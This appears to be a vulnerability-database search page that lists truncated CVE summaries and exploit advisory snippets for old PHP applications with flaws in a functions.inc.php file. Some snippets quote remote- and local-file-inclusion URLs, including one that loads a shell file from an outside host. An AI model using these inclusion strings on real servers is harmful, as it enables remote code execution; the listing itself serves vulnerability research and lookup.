CVE-2008-3489: Improper Neutralization of Special Elements used in an SQL Command

SQL injection vulnerability in checkCookie function in includes/functions.inc.php in PHPX 3.5.16 allows remote attackers to execute arbitrary SQL commands via a PXL cookie...

Coppermine Photo Gallery 1.4.18 - Local File Inclusion Remote Code Execution

Coppermine Photo Gallery 1.4.18 - Local File Inclusion Remote Code Execution authenticate; ... 301. // Process language selection if present in URI or in user profile or try 302. // autodetection if default charset is utf-8 303. if !empty$GET'lang' 304. 305. $USER'lang' = ereg"^a-z0-9-$",...

CVE-2008-1962: Improper Limitation of a Pathname to a Restricted Directory

Multiple directory traversal vulnerabilities in Aterr 0.9.1 allow remote attackers to include and execute arbitrary local files via a .. dot dot in the 1 class parameter to include/functions.inc.php and the 2 file parameter to include/common.inc.php...

Aterr 0.9.1 (class) Local File Inclusion Vulnerabilities (php5)

Exploit for unknown platform in category web applications =============================================================== Aterr 0.9.1 class Local File Inclusion Vulnerabilities php5 =============================================================== Atter 0.9.1 Local File Inclusion Vulnerability Auth...

Aterr 0.9.1 - PHP5 Local File Inclusion

Atter 0.9.1 Local File Inclusion Vulnerability Author : KnocKout ThanX : CW ALL USERS ================================================= Script Download : http://cms-bg.org/modules/mydownloads/viewcat.php?cid=5 Attackz : http://localsite.com/path/include/functions.inc.php?class=Local File...

CVE-2007-4118: Undefined Security Weakness

PHP remote file inclusion vulnerability in includes/functions.inc.php in phpVoter 0.6 allows remote attackers to execute arbitrary PHP code via a URL in the sitepath parameter...

phpVoter v0.6 Remote File Include Vulnerability

phpVoter v0.6 Remote File Include Vulnerability ilker kandemir ilkerkandemiratmynet.com Download: http://jxdevelopment.com/downloads/phpscripts/phpvoter-06.zip TnX.: Ajann, Dumenci, H0tTurk, Str0ke Exploit: includes/functions.inc.php?sitepath=http://shell.txt?...

phpvoter-rfi.txt

phpVoter v0.6 Remote File Include Vulnerability ilker kandemir Download: http://jxdevelopment.com/downloads/phpscripts/phpvoter-06.zip TnX.: Ajann, Dumenci, H0tTurk, Str0ke Exploit: includes/functions.inc.php?sitepath=http://shell.txt?...

CVE-2006-7135

CVE-2006-7135: Affects PHP Poll Creator (phpPC) 1.04; vulnerable component is lib/functions.inc.php. Remote PHP code execution possible via a URL in the relativer_pfad parameter. No explicit remediation or patch details are provided in the supplied documents. The connected sources do not reveal a...

CVE-2006-7135: Undefined Security Weakness

PHP remote file inclusion vulnerability in lib/functions.inc.php in PHP Poll Creator phpPC 1.04 allows remote attackers to execute arbitrary PHP code via a URL in the relativerpfad parameter, a different vector and version than CVE-2005-1755. NOTE: the provenance of this information is unknown; t...

cwmVote 1.0 (archive.php) Remote File Include Vulnerability

Exploit for unknown platform in category web applications =========================================================== cwmVote 1.0 archive.php Remote File Include Vulnerability =========================================================== cwmVote 1.0 File Include Vulnerability F0und3R: bd0rk ||...

gshout.txt

SaVSaK.CoM | SpC-x - TheBeKiR | G Shout 1.3.1 Version - Remote File Include Vulnerability Risk : High Class: Remote Script : G Shout Credits : SpC-x Thanks : TheBeKiR - Ejder - FasTBoY - ERNE - RMx Code : include"config.php"; include"./includes/functions.inc.php"; include...

CVE-2006-2250: Undefined Security Weakness

CuteNews 1.4.1 allows remote attackers to obtain sensitive information via a direct request to 1 /inc/show.inc.php or 2 /inc/functions.inc.php, which reveal the path in an error message...

CVE-2004-2363

PHPX 3.0–3.2.6 contains a Validate-Before-Canonicalize flaw in functions.inc.php: checkURI can be bypassed with hex-encoded tags, enabling remote XSS via the limit parameter to forums.php and similar vectors. Impact is XSS without bypassing literal character checks. Affected component/function: c...

CVE-2004-2363: Undefined Security Weakness

Validate-Before-Canonicalize vulnerability in the checkURI function in functions.inc.php in PHPX 3.0 through 3.2.6 allows remote attackers to conduct cross-site scripting XSS attacks via hex-encoded tags, which bypass the check for literal "", "", and "" characters, as demonstrated using the limi...

CVE-2005-2199: Undefined Security Weakness

PHP remote file inclusion vulnerability in inc/functions.inc.php in PPA web photo gallery 0.5.6 allows remote attackers to execute arbitrary code via the configpparootpath variable...

PPA functions.inc.php ppa_root_path Parameter Remote File Inclusion

Binary data 3061.prm...

CVE-2005-0888

Multiple cross-site scripting XSS vulnerabilities in functions.inc.php for Double Choco Latte 0.9.4.3 allow remote attackers to inject arbitrary web script or HTML via the 1 class or 2 method name...

CVE-2005-0888

The vulnerability CVE-2005-0888 affects Double Choco Latte 0.9.4.3, where two XSS flaws exist in functions.inc.php allowing remote attackers to inject arbitrary script or HTML via the (1) class or (2) method name. The issue arises from improper handling of input parameters in those functions, lea...

CVE-2005-0888: Undefined Security Weakness

Multiple cross-site scripting XSS vulnerabilities in functions.inc.php for Double Choco Latte 0.9.4.3 allow remote attackers to inject arbitrary web script or HTML via the 1 class or 2 method name...